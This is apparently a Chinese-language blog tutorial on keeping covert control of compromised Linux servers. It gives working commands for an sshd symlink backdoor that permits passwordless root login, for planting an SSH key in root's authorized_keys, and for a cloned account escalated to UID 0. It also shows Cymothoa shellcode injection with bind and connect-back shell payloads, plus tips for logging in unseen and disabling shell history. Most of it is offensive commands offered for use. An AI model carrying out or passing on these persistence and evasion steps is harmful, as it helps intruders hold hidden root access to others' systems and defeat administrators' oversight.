SSH后门是老生常谈了,也是挺好用的一个Linux持久化控制的东西,局限性就是需要对方开启22端口映射

SSH类型后门

姿势一、软链接

最简单的一个姿势,主要是利用对SSHD进行软链接,即可任意密码登录。
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
此时在B机器上只需要连接到其5555端口,使用root或者其他账号进行登录,即可无需密码

如果不想用su,可以
cp /etc/pam.d/su /etc/pam.d/xxxxxx
ln -sf /usr/sbin/sshd /tmp/xxxxxx; /tmp/xxxxxx -oPort=5555;

关于SSH软连接后门的分析:http://www.91ri.org/16803.html

姿势二、RSA公私钥登录

这个操作比较骚,没有在主机上配置什么乱七八糟的东西,而是在主机上生成独特的RSA秘钥,而由于更多人采用的都是密码登录,对此方法的应用很容易被运维人员忽视。

在本地机 ssh-keygen -t rsa 生成keygen
image.png
cd /root/.ssh/
此时存在两个文件 id_rsa id_rsa.pub,其中id_rsa为私钥,id_rsa.pub为公钥
我们将id_rsa.pub复制到远程的目标机上的 /root/.ssh/authorized_keys
然后赋予600权限——————chmod 600 /root/.ssh/authorized_keys
那么此时我们进行SSH登录,本地的私钥就会去匹配目标服务器上的公钥,完成连接。

最后使用 ssh root@192.168.204.137 -i ./id_rsa (可以跟绝对路径)进行登录,成功!
image.png

克隆账户后门——非交互式克隆账户

useradd www && echo “www:Test@123” | chpasswd
cat /etc/passwdcp /etc/passwd /tmp/passwd.bak
sed -i “s/www:x:1003:1003:/www:x:0:0:/g” /etc/passwd
此时登录www账户的话,还是会是root权限,原因是uid已经被我们替换成0了

Cymothoa

Cymothoa 是一款可以将 shellcode 注入到现有进程的(即插进程)后门工具 。
Kali一般都自带此工具,如果没有可以在这里下载
https://github.com/BlackArch/cymothoa-bin
直接拖入Linux系统中即可使用
image.png
主要的命令的话就是./cymothoa -S 用来查看注入的进程时要用什么payload

  1. root@bogon:~# ./cymothoa -S
  2. 0 - bind /bin/sh to the provided port (requires -y)
  3. 1 - bind /bin/sh + fork() to the provided port (requires -y) - izik <izik@tty64.org>
  4. 2 - bind /bin/sh to tcp port with password authentication (requires -y -o)
  5. 3 - /bin/sh connect back (requires -x, -y)
  6. 4 - tcp socket proxy (requires -x -y -r) - Russell Sanford (xort@tty64.org)
  7. 5 - script execution (see the payload), creates a tmp file you must remove
  8. 6 - forks an HTTP Server on port tcp/8800 - http://xenomuta.tuxfamily.org/
  9. 7 - serial port busybox binding - phar@stonedcoder.org mdavis@ioactive.com
  10. 8 - forkbomb (just for fun...) - Kris Katterjohn
  11. 9 - open cd-rom loop (follows /dev/cdrom symlink) - izik@tty64.org
  12. 10 - audio (knock knock knock) via /dev/dsp - Cody Tubbs (pigspigs@yahoo.com)
  13. 11 - POC alarm() scheduled shellcode
  14. 12 - POC setitimer() scheduled shellcode
  15. 13 - alarm() backdoor (requires -j -y) bind port, fork on accept
  16. 14 - setitimer() tail follow (requires -k -x -y) send data via upd

./cymothoa -s 1 -y 4567 -p 1430
这里我选择使用payload 1 建立连接的端口为4567 注入的进程PID为1430
image.png
发现这里在显示infected后,PID的进程就消失了,所以感觉不大好用。

服务启动

image.png

一些其他的Tips

1、 ——w命令看不到——SSH隐身登录
ssh -T root@x.x.x.x /bin/bash -i

2、 ——无痕模式
set +o history 隐藏
set -o histroy 恢复